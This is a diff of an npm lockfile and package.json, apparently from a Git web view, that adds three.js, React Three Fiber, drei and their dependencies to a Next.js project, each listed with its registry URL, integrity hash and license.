"integrity": "sha512-bqerEP1Ese6nt3rFkwPnGbsUF9a4q+gMmpTVVOEzoCyeCc+y7/RvJnQZJx1JwhgQI5Ntg0Kgat8Uu7XpBqnz1w==",
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"webgl-constants": "^1.1.1"
|
||||
}
|
||||
},
|
||||
"node_modules/detect-libc": {
|
||||
"version": "2.1.2",
|
||||
"resolved": "https://registry.npmjs.org/detect-libc/-/detect-libc-2.1.2.tgz",
|
||||
@@ -1076,6 +1386,12 @@
|
||||
"node": ">=8"
|
||||
}
|
||||
},
|
||||
"node_modules/draco3d": {
|
||||
"version": "1.5.7",
|
||||
"resolved": "https://registry.npmjs.org/draco3d/-/draco3d-1.5.7.tgz",
|
||||
"integrity": "sha512-m6WCKt/erDXcw+70IJXnG7M3awwQPAsZvJGX5zY7beBqpELw6RDGkYVU0W43AFxye4pDZ5i2Lbyc/NNGqwjUVQ==",
|
||||
"license": "Apache-2.0"
|
||||
},
|
||||
"node_modules/enhanced-resolve": {
|
||||
"version": "5.20.0",
|
||||
"resolved": "https://registry.npmjs.org/enhanced-resolve/-/enhanced-resolve-5.20.0.tgz",
|
||||
@@ -1090,6 +1406,18 @@
|
||||
"node": ">=10.13.0"
|
||||
}
|
||||
},
|
||||
"node_modules/fflate": {
|
||||
"version": "0.8.2",
|
||||
"resolved": "https://registry.npmjs.org/fflate/-/fflate-0.8.2.tgz",
|
||||
"integrity": "sha512-cPJU47OaAoCbg0pBvzsgpTPhmhqI5eJjh/JIu8tPj5q+T7iLvW/JAYUqmE7KOB4R1ZyEhzBaIQpQpardBF5z8A==",
|
||||
"license": "MIT"
|
||||
},
|
||||
"node_modules/glsl-noise": {
|
||||
"version": "0.0.0",
|
||||
"resolved": "https://registry.npmjs.org/glsl-noise/-/glsl-noise-0.0.0.tgz",
|
||||
"integrity": "sha512-b/ZCF6amfAUb7dJM/MxRs7AetQEahYzJ8PtgfrmEdtw6uyGOr+ZSGtgjFm6mfsBkxJ4d2W7kg+Nlqzqvn3Bc0w==",
|
||||
"license": "MIT"
|
||||
},
|
||||
"node_modules/graceful-fs": {
|
||||
"version": "4.2.11",
|
||||
"resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.11.tgz",
|
||||
@@ -1097,6 +1425,62 @@
|
||||
"dev": true,
|
||||
"license": "ISC"
|
||||
},
|
||||
"node_modules/hls.js": {
|
||||
"version": "1.6.15",
|
||||
"resolved": "https://registry.npmjs.org/hls.js/-/hls.js-1.6.15.tgz",
|
||||
"integrity": "sha512-E3a5VwgXimGHwpRGV+WxRTKeSp2DW5DI5MWv34ulL3t5UNmyJWCQ1KmLEHbYzcfThfXG8amBL+fCYPneGHC4VA==",
|
||||
"license": "Apache-2.0"
|
||||
},
|
||||
"node_modules/ieee754": {
|
||||
"version": "1.2.1",
|
||||
"resolved": "https://registry.npmjs.org/ieee754/-/ieee754-1.2.1.tgz",
|
||||
"integrity": "sha512-dcyqhDvX1C46lXZcVqCpK+FtMRQVdIMN6/Df5js2zouUsqG7I6sFxitIC+7KYK29KdXOLHdu9zL4sFnoVQnqaA==",
|
||||
"funding": [
|
||||
{
|
||||
"type": "github",
|
||||
"url": "https://github.com/sponsors/feross"
|
||||
},
|
||||
{
|
||||
"type": "patreon",
|
||||
"url": "https://www.patreon.com/feross"
|
||||
},
|
||||
{
|
||||
"type": "consulting",
|
||||
"url": "https://feross.org/support"
|
||||
}
|
||||
],
|
||||
"license": "BSD-3-Clause"
|
||||
},
|
||||
"node_modules/immediate": {
|
||||
"version": "3.0.6",
|
||||
"resolved": "https://registry.npmjs.org/immediate/-/immediate-3.0.6.tgz",
|
||||
"integrity": "sha512-XXOFtyqDjNDAQxVfYxuF7g9Il/IbWmmlQg2MYKOH8ExIT1qg6xc4zyS3HaEEATgs1btfzxq15ciUiY7gjSXRGQ==",
|
||||
"license": "MIT"
|
||||
},
|
||||
"node_modules/is-promise": {
|
||||
"version": "2.2.2",
|
||||
"resolved": "https://registry.npmjs.org/is-promise/-/is-promise-2.2.2.tgz",
|
||||
"integrity": "sha512-+lP4/6lKUBfQjZ2pdxThZvLUAafmZb8OAxFb8XXtiQmS35INgr85hdOGoEs124ez1FCnZJt6jau/T+alh58QFQ==",
|
||||
"license": "MIT"
|
||||
},
|
||||
"node_modules/isexe": {
|
||||
"version": "2.0.0",
|
||||
"resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz",
|
||||
"integrity": "sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==",
|
||||
"license": "ISC"
|
||||
},
|
||||
"node_modules/its-fine": {
|
||||
"version": "2.0.0",
|
||||
"resolved": "https://registry.npmjs.org/its-fine/-/its-fine-2.0.0.tgz",
|
||||
"integrity": "sha512-KLViCmWx94zOvpLwSlsx6yOCeMhZYaxrJV87Po5k/FoZzcPSahvK5qJ7fYhS61sZi5ikmh2S3Hz55A2l3U69ng==",
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"@types/react-reconciler": "^0.28.9"
|
||||
},
|
||||
"peerDependencies": {
|
||||
"react": "^19.0.0"
|
||||
}
|
||||
},
|
||||
"node_modules/jiti": {
|
||||
"version": "2.6.1",
|
||||
"resolved": "https://registry.npmjs.org/jiti/-/jiti-2.6.1.tgz",
|
||||
@@ -1107,6 +1491,15 @@
|
||||
"jiti": "lib/jiti-cli.mjs"
|
||||
}
|
||||
},
|
||||
"node_modules/lie": {
|
||||
"version": "3.3.0",
|
||||
"resolved": "https://registry.npmjs.org/lie/-/lie-3.3.0.tgz",
|
||||
"integrity": "sha512-UaiMJzeWRlEujzAuw5LokY1L5ecNQYZKfmyZ9L7wDHb/p5etKaxXhohBcrw0EYby+G/NA52vRSN4N39dxHAIwQ==",
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"immediate": "~3.0.5"
|
||||
}
|
||||
},
|
||||
"node_modules/lightningcss": {
|
||||
"version": "1.31.1",
|
||||
"resolved": "https://registry.npmjs.org/lightningcss/-/lightningcss-1.31.1.tgz",
|
||||
@@ -1377,6 +1770,16 @@
|
||||
"react": "^16.5.1 || ^17.0.0 || ^18.0.0 || ^19.0.0-rc"
|
||||
}
|
||||
},
|
||||
"node_modules/maath": {
|
||||
"version": "0.10.8",
|
||||
"resolved": "https://registry.npmjs.org/maath/-/maath-0.10.8.tgz",
|
||||
"integrity": "sha512-tRvbDF0Pgqz+9XUa4jjfgAQ8/aPKmQdWXilFu2tMy4GWj4NOsx99HlULO4IeREfbO3a0sA145DZYyvXPkybm0g==",
|
||||
"license": "MIT",
|
||||
"peerDependencies": {
|
||||
"@types/three": ">=0.134.0",
|
||||
"three": ">=0.134.0"
|
||||
}
|
||||
},
|
||||
"node_modules/magic-string": {
|
||||
"version": "0.30.21",
|
||||
"resolved": "https://registry.npmjs.org/magic-string/-/magic-string-0.30.21.tgz",
|
||||
@@ -1387,6 +1790,21 @@
|
||||
"@jridgewell/sourcemap-codec": "^1.5.5"
|
||||
}
|
||||
},
|
||||
"node_modules/meshline": {
|
||||
"version": "3.3.1",
|
||||
"resolved": "https://registry.npmjs.org/meshline/-/meshline-3.3.1.tgz",
|
||||
"integrity": "sha512-/TQj+JdZkeSUOl5Mk2J7eLcYTLiQm2IDzmlSvYm7ov15anEcDJ92GHqqazxTSreeNgfnYu24kiEvvv0WlbCdFQ==",
|
||||
"license": "MIT",
|
||||
"peerDependencies": {
|
||||
"three": ">=0.137"
|
||||
}
|
||||
},
|
||||
"node_modules/meshoptimizer": {
|
||||
"version": "1.0.1",
|
||||
"resolved": "https://registry.npmjs.org/meshoptimizer/-/meshoptimizer-1.0.1.tgz",
|
||||
"integrity": "sha512-Vix+QlA1YYT3FwmBBZ+49cE5y/b+pRrcXKqGpS5ouh33d3lSp2PoTpCw19E0cKDFWalembrHnIaZetf27a+W2g==",
|
||||
"license": "MIT"
|
||||
},
|
||||
"node_modules/nanoid": {
|
||||
"version": "3.3.11",
|
||||
"resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.11.tgz",
|
||||
@@ -1495,6 +1913,15 @@
|
||||
"node": "^10 || ^12 || >=14"
|
||||
}
|
||||
},
|
||||
"node_modules/path-key": {
|
||||
"version": "3.1.1",
|
||||
"resolved": "https://registry.npmjs.org/path-key/-/path-key-3.1.1.tgz",
|
||||
"integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==",
|
||||
"license": "MIT",
|
||||
"engines": {
|
||||
"node": ">=8"
|
||||
}
|
||||
},
|
||||
"node_modules/picocolors": {
|
||||
"version": "1.1.1",
|
||||
"resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.1.1.tgz",
|
||||
@@ -1530,6 +1957,22 @@
|
||||
"node": "^10 || ^12 || >=14"
|
||||
}
|
||||
},
|
||||
"node_modules/potpack": {
|
||||
"version": "1.0.2",
|
||||
"resolved": "https://registry.npmjs.org/potpack/-/potpack-1.0.2.tgz",
|
||||
"integrity": "sha512-choctRBIV9EMT9WGAZHn3V7t0Z2pMQyl0EZE6pFc/6ml3ssw7Dlf/oAOvFwjm1HVsqfQN8GfeFyJ+d8tRzqueQ==",
|
||||
"license": "ISC"
|
||||
},
|
||||
"node_modules/promise-worker-transferable": {
|
||||
"version": "1.0.4",
|
||||
"resolved": "https://registry.npmjs.org/promise-worker-transferable/-/promise-worker-transferable-1.0.4.tgz",
|
||||
"integrity": "sha512-bN+0ehEnrXfxV2ZQvU2PetO0n4gqBD4ulq3MI1WOPLgr7/Mg9yRQkX5+0v1vagr74ZTsl7XtzlaYDo2EuCeYJw==",
|
||||
"license": "Apache-2.0",
|
||||
"dependencies": {
|
||||
"is-promise": "^2.1.0",
|
||||
"lie": "^3.0.2"
|
||||
}
|
||||
},
|
||||
"node_modules/react": {
|
||||
"version": "19.2.0",
|
||||
"resolved": "https://registry.npmjs.org/react/-/react-19.2.0.tgz",
|
||||
@@ -1553,6 +1996,30 @@
|
||||
"react": "^19.2.0"
|
||||
}
|
||||
},
|
||||
"node_modules/react-use-measure": {
|
||||
"version": "2.1.7",
|
||||
"resolved": "https://registry.npmjs.org/react-use-measure/-/react-use-measure-2.1.7.tgz",
|
||||
"integrity": "sha512-KrvcAo13I/60HpwGO5jpW7E9DfusKyLPLvuHlUyP5zqnmAPhNc6qTRjUQrdTADl0lpPpDVU2/Gg51UlOGHXbdg==",
|
||||
"license": "MIT",
|
||||
"peerDependencies": {
|
||||
"react": ">=16.13",
|
||||
"react-dom": ">=16.13"
|
||||
},
|
||||
"peerDependenciesMeta": {
|
||||
"react-dom": {
|
||||
"optional": true
|
||||
}
|
||||
}
|
||||
},
|
||||
"node_modules/require-from-string": {
|
||||
"version": "2.0.2",
|
||||
"resolved": "https://registry.npmjs.org/require-from-string/-/require-from-string-2.0.2.tgz",
|
||||
"integrity": "sha512-Xf0nWe6RseziFMu+Ap9biiUbmplq6S9/p+7w7YXP/JBHhrUDDUhwa+vANyubuqfZWTveU//DYVGsDG7RKL/vEw==",
|
||||
"license": "MIT",
|
||||
"engines": {
|
||||
"node": ">=0.10.0"
|
||||
}
|
||||
},
|
||||
"node_modules/scheduler": {
|
||||
"version": "0.27.0",
|
||||
"resolved": "https://registry.npmjs.org/scheduler/-/scheduler-0.27.0.tgz",
|
||||
@@ -1617,6 +2084,27 @@
|
||||
"@img/sharp-win32-x64": "0.34.5"
|
||||
}
|
||||
},
|
||||
"node_modules/shebang-command": {
|
||||
"version": "2.0.0",
|
||||
"resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-2.0.0.tgz",
|
||||
"integrity": "sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==",
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"shebang-regex": "^3.0.0"
|
||||
},
|
||||
"engines": {
|
||||
"node": ">=8"
|
||||
}
|
||||
},
|
||||
"node_modules/shebang-regex": {
|
||||
"version": "3.0.0",
|
||||
"resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-3.0.0.tgz",
|
||||
"integrity": "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==",
|
||||
"license": "MIT",
|
||||
"engines": {
|
||||
"node": ">=8"
|
||||
}
|
||||
},
|
||||
"node_modules/source-map-js": {
|
||||
"version": "1.2.1",
|
||||
"resolved": "https://registry.npmjs.org/source-map-js/-/source-map-js-1.2.1.tgz",
|
||||
@@ -1626,6 +2114,32 @@
|
||||
"node": ">=0.10.0"
|
||||
}
|
||||
},
|
||||
"node_modules/stats-gl": {
|
||||
"version": "2.4.2",
|
||||
"resolved": "https://registry.npmjs.org/stats-gl/-/stats-gl-2.4.2.tgz",
|
||||
"integrity": "sha512-g5O9B0hm9CvnM36+v7SFl39T7hmAlv541tU81ME8YeSb3i1CIP5/QdDeSB3A0la0bKNHpxpwxOVRo2wFTYEosQ==",
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"@types/three": "*",
|
||||
"three": "^0.170.0"
|
||||
},
|
||||
"peerDependencies": {
|
||||
"@types/three": "*",
|
||||
"three": "*"
|
||||
}
|
||||
},
|
||||
"node_modules/stats-gl/node_modules/three": {
|
||||
"version": "0.170.0",
|
||||
"resolved": "https://registry.npmjs.org/three/-/three-0.170.0.tgz",
|
||||
"integrity": "sha512-FQK+LEpYc0fBD+J8g6oSEyyNzjp+Q7Ks1C568WWaoMRLW+TkNNWmenWeGgJjV105Gd+p/2ql1ZcjYvNiPZBhuQ==",
|
||||
"license": "MIT"
|
||||
},
|
||||
"node_modules/stats.js": {
|
||||
"version": "0.17.0",
|
||||
"resolved": "https://registry.npmjs.org/stats.js/-/stats.js-0.17.0.tgz",
|
||||
"integrity": "sha512-hNKz8phvYLPEcRkeG1rsGmV5ChMjKDAWU7/OJJdDErPBNChQXxCo3WZurGpnWc6gZhAzEPFad1aVgyOANH1sMw==",
|
||||
"license": "MIT"
|
||||
},
|
||||
"node_modules/styled-jsx": {
|
||||
"version": "5.1.6",
|
||||
"resolved": "https://registry.npmjs.org/styled-jsx/-/styled-jsx-5.1.6.tgz",
|
||||
@@ -1649,6 +2163,15 @@
|
||||
}
|
||||
}
|
||||
},
|
||||
"node_modules/suspend-react": {
|
||||
"version": "0.1.3",
|
||||
"resolved": "https://registry.npmjs.org/suspend-react/-/suspend-react-0.1.3.tgz",
|
||||
"integrity": "sha512-aqldKgX9aZqpoDp3e8/BZ8Dm7x1pJl+qI3ZKxDN0i/IQTWUwBx/ManmlVJ3wowqbno6c2bmiIfs+Um6LbsjJyQ==",
|
||||
"license": "MIT",
|
||||
"peerDependencies": {
|
||||
"react": ">=17.0"
|
||||
}
|
||||
},
|
||||
"node_modules/tailwind-merge": {
|
||||
"version": "3.5.0",
|
||||
"resolved": "https://registry.npmjs.org/tailwind-merge/-/tailwind-merge-3.5.0.tgz",
|
||||
@@ -1680,12 +2203,118 @@
|
||||
"url": "https://opencollective.com/webpack"
|
||||
}
|
||||
},
|
||||
"node_modules/three": {
|
||||
"version": "0.183.2",
|
||||
"resolved": "https://registry.npmjs.org/three/-/three-0.183.2.tgz",
|
||||
"integrity": "sha512-di3BsL2FEQ1PA7Hcvn4fyJOlxRRgFYBpMTcyOgkwJIaDOdJMebEFPA+t98EvjuljDx4hNulAGwF6KIjtwI5jgQ==",
|
||||
"license": "MIT",
|
||||
"peer": true
|
||||
},
|
||||
"node_modules/three-mesh-bvh": {
|
||||
"version": "0.8.3",
|
||||
"resolved": "https://registry.npmjs.org/three-mesh-bvh/-/three-mesh-bvh-0.8.3.tgz",
|
||||
"integrity": "sha512-4G5lBaF+g2auKX3P0yqx+MJC6oVt6sB5k+CchS6Ob0qvH0YIhuUk1eYr7ktsIpY+albCqE80/FVQGV190PmiAg==",
|
||||
"license": "MIT",
|
||||
"peerDependencies": {
|
||||
"three": ">= 0.159.0"
|
||||
}
|
||||
},
|
||||
"node_modules/three-stdlib": {
|
||||
"version": "2.36.1",
|
||||
"resolved": "https://registry.npmjs.org/three-stdlib/-/three-stdlib-2.36.1.tgz",
|
||||
"integrity": "sha512-XyGQrFmNQ5O/IoKm556ftwKsBg11TIb301MB5dWNicziQBEs2g3gtOYIf7pFiLa0zI2gUwhtCjv9fmjnxKZ1Cg==",
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"@types/draco3d": "^1.4.0",
|
||||
"@types/offscreencanvas": "^2019.6.4",
|
||||
"@types/webxr": "^0.5.2",
|
||||
"draco3d": "^1.4.1",
|
||||
"fflate": "^0.6.9",
|
||||
"potpack": "^1.0.1"
|
||||
},
|
||||
"peerDependencies": {
|
||||
"three": ">=0.128.0"
|
||||
}
|
||||
},
|
||||
"node_modules/three-stdlib/node_modules/fflate": {
|
||||
"version": "0.6.10",
|
||||
"resolved": "https://registry.npmjs.org/fflate/-/fflate-0.6.10.tgz",
|
||||
"integrity": "sha512-IQrh3lEPM93wVCEczc9SaAOvkmcoQn/G8Bo1e8ZPlY3X3bnAxWaBdvTdvM1hP62iZp0BXWDy4vTAy4fF0+Dlpg==",
|
||||
"license": "MIT"
|
||||
},
|
||||
"node_modules/troika-three-text": {
|
||||
"version": "0.52.4",
|
||||
"resolved": "https://registry.npmjs.org/troika-three-text/-/troika-three-text-0.52.4.tgz",
|
||||
"integrity": "sha512-V50EwcYGruV5rUZ9F4aNsrytGdKcXKALjEtQXIOBfhVoZU9VAqZNIoGQ3TMiooVqFAbR1w15T+f+8gkzoFzawg==",
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"bidi-js": "^1.0.2",
|
||||
"troika-three-utils": "^0.52.4",
|
||||
"troika-worker-utils": "^0.52.0",
|
||||
"webgl-sdf-generator": "1.1.1"
|
||||
},
|
||||
"peerDependencies": {
|
||||
"three": ">=0.125.0"
|
||||
}
|
||||
},
|
||||
"node_modules/troika-three-utils": {
|
||||
"version": "0.52.4",
|
||||
"resolved": "https://registry.npmjs.org/troika-three-utils/-/troika-three-utils-0.52.4.tgz",
|
||||
"integrity": "sha512-NORAStSVa/BDiG52Mfudk4j1FG4jC4ILutB3foPnfGbOeIs9+G5vZLa0pnmnaftZUGm4UwSoqEpWdqvC7zms3A==",
|
||||
"license": "MIT",
|
||||
"peerDependencies": {
|
||||
"three": ">=0.125.0"
|
||||
}
|
||||
},
|
||||
"node_modules/troika-worker-utils": {
|
||||
"version": "0.52.0",
|
||||
"resolved": "https://registry.npmjs.org/troika-worker-utils/-/troika-worker-utils-0.52.0.tgz",
|
||||
"integrity": "sha512-W1CpvTHykaPH5brv5VHLfQo9D1OYuo0cSBEUQFFT/nBUzM8iD6Lq2/tgG/f1OelbAS1WtaTPQzE5uM49egnngw==",
|
||||
"license": "MIT"
|
||||
},
|
||||
"node_modules/tslib": {
|
||||
"version": "2.8.1",
|
||||
"resolved": "https://registry.npmjs.org/tslib/-/tslib-2.8.1.tgz",
|
||||
"integrity": "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==",
|
||||
"license": "0BSD"
|
||||
},
|
||||
"node_modules/tunnel-rat": {
|
||||
"version": "0.1.2",
|
||||
"resolved": "https://registry.npmjs.org/tunnel-rat/-/tunnel-rat-0.1.2.tgz",
|
||||
"integrity": "sha512-lR5VHmkPhzdhrM092lI2nACsLO4QubF0/yoOhzX7c+wIpbN1GjHNzCc91QlpxBi+cnx8vVJ+Ur6vL5cEoQPFpQ==",
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"zustand": "^4.3.2"
|
||||
}
|
||||
},
|
||||
"node_modules/tunnel-rat/node_modules/zustand": {
|
||||
"version": "4.5.7",
|
||||
"resolved": "https://registry.npmjs.org/zustand/-/zustand-4.5.7.tgz",
|
||||
"integrity": "sha512-CHOUy7mu3lbD6o6LJLfllpjkzhHXSBlX8B9+qPddUsIfeF5S/UZ5q0kmCsnRqT1UHFQZchNFDDzMbQsuesHWlw==",
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"use-sync-external-store": "^1.2.2"
|
||||
},
|
||||
"engines": {
|
||||
"node": ">=12.7.0"
|
||||
},
|
||||
"peerDependencies": {
|
||||
"@types/react": ">=16.8",
|
||||
"immer": ">=9.0.6",
|
||||
"react": ">=16.8"
|
||||
},
|
||||
"peerDependenciesMeta": {
|
||||
"@types/react": {
|
||||
"optional": true
|
||||
},
|
||||
"immer": {
|
||||
"optional": true
|
||||
},
|
||||
"react": {
|
||||
"optional": true
|
||||
}
|
||||
}
|
||||
},
|
||||
"node_modules/tw-animate-css": {
|
||||
"version": "1.3.3",
|
||||
"resolved": "https://registry.npmjs.org/tw-animate-css/-/tw-animate-css-1.3.3.tgz",
|
||||
@@ -1716,6 +2345,79 @@
|
||||
"integrity": "sha512-iwDZqg0QAGrg9Rav5H4n0M64c3mkR59cJ6wQp+7C4nI0gsmExaedaYLNO44eT4AtBBwjbTiGPMlt2Md0T9H9JQ==",
|
||||
"dev": true,
|
||||
"license": "MIT"
|
||||
},
|
||||
"node_modules/use-sync-external-store": {
|
||||
"version": "1.6.0",
|
||||
"resolved": "https://registry.npmjs.org/use-sync-external-store/-/use-sync-external-store-1.6.0.tgz",
|
||||
"integrity": "sha512-Pp6GSwGP/NrPIrxVFAIkOQeyw8lFenOHijQWkUTrDvrF4ALqylP2C/KCkeS9dpUM3KvYRQhna5vt7IL95+ZQ9w==",
|
||||
"license": "MIT",
|
||||
"peerDependencies": {
|
||||
"react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0"
|
||||
}
|
||||
},
|
||||
"node_modules/utility-types": {
|
||||
"version": "3.11.0",
|
||||
"resolved": "https://registry.npmjs.org/utility-types/-/utility-types-3.11.0.tgz",
|
||||
"integrity": "sha512-6Z7Ma2aVEWisaL6TvBCy7P8rm2LQoPv6dJ7ecIaIixHcwfbJ0x7mWdbcwlIM5IGQxPZSFYeqRCqlOOeKoJYMkw==",
|
||||
"license": "MIT",
|
||||
"engines": {
|
||||
"node": ">= 4"
|
||||
}
|
||||
},
|
||||
"node_modules/webgl-constants": {
|
||||
"version": "1.1.1",
|
||||
"resolved": "https://registry.npmjs.org/webgl-constants/-/webgl-constants-1.1.1.tgz",
|
||||
"integrity": "sha512-LkBXKjU5r9vAW7Gcu3T5u+5cvSvh5WwINdr0C+9jpzVB41cjQAP5ePArDtk/WHYdVj0GefCgM73BA7FlIiNtdg=="
|
||||
},
|
||||
"node_modules/webgl-sdf-generator": {
|
||||
"version": "1.1.1",
|
||||
"resolved": "https://registry.npmjs.org/webgl-sdf-generator/-/webgl-sdf-generator-1.1.1.tgz",
|
||||
"integrity": "sha512-9Z0JcMTFxeE+b2x1LJTdnaT8rT8aEp7MVxkNwoycNmJWwPdzoXzMh0BjJSh/AEFP+KPYZUli814h8bJZFIZ2jA==",
|
||||
"license": "MIT"
|
||||
},
|
||||
"node_modules/which": {
|
||||
"version": "2.0.2",
|
||||
"resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz",
|
||||
"integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==",
|
||||
"license": "ISC",
|
||||
"dependencies": {
|
||||
"isexe": "^2.0.0"
|
||||
},
|
||||
"bin": {
|
||||
"node-which": "bin/node-which"
|
||||
},
|
||||
"engines": {
|
||||
"node": ">= 8"
|
||||
}
|
||||
},
|
||||
"node_modules/zustand": {
|
||||
"version": "5.0.12",
|
||||
"resolved": "https://registry.npmjs.org/zustand/-/zustand-5.0.12.tgz",
|
||||
"integrity": "sha512-i77ae3aZq4dhMlRhJVCYgMLKuSiZAaUPAct2AksxQ+gOtimhGMdXljRT21P5BNpeT4kXlLIckvkPM029OljD7g==",
|
||||
"license": "MIT",
|
||||
"engines": {
|
||||
"node": ">=12.20.0"
|
||||
},
|
||||
"peerDependencies": {
|
||||
"@types/react": ">=18.0.0",
|
||||
"immer": ">=9.0.6",
|
||||
"react": ">=18.0.0",
|
||||
"use-sync-external-store": ">=1.2.0"
|
||||
},
|
||||
"peerDependenciesMeta": {
|
||||
"@types/react": {
|
||||
"optional": true
|
||||
},
|
||||
"immer": {
|
||||
"optional": true
|
||||
},
|
||||
"react": {
|
||||
"optional": true
|
||||
},
|
||||
"use-sync-external-store": {
|
||||
"optional": true
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -8,6 +8,9 @@
|
||||
"start": "next start"
|
||||
},
|
||||
"dependencies": {
|
||||
"@react-three/drei": "^10.7.7",
|
||||
"@react-three/fiber": "^9.5.0",
|
||||
"@types/three": "^0.183.1",
|
||||
"class-variance-authority": "^0.7.1",
|
||||
"clsx": "^2.1.1",
|
||||
"lucide-react": "^0.454.0",
|
||||
@@ -15,7 +18,8 @@
|
||||
"next-themes": "^0.4.6",
|
||||
"react": "19.2.0",
|
||||
"react-dom": "19.2.0",
|
||||
"tailwind-merge": "^3.3.1"
|
||||
"tailwind-merge": "^3.3.1",
|
||||
"three": "^0.183.2"
|
||||
},
|
||||
"devDependencies": {
|
||||
"@tailwindcss/postcss": "^4.1.9",
|
||||
|
||||
Reference in New Issue
Block a user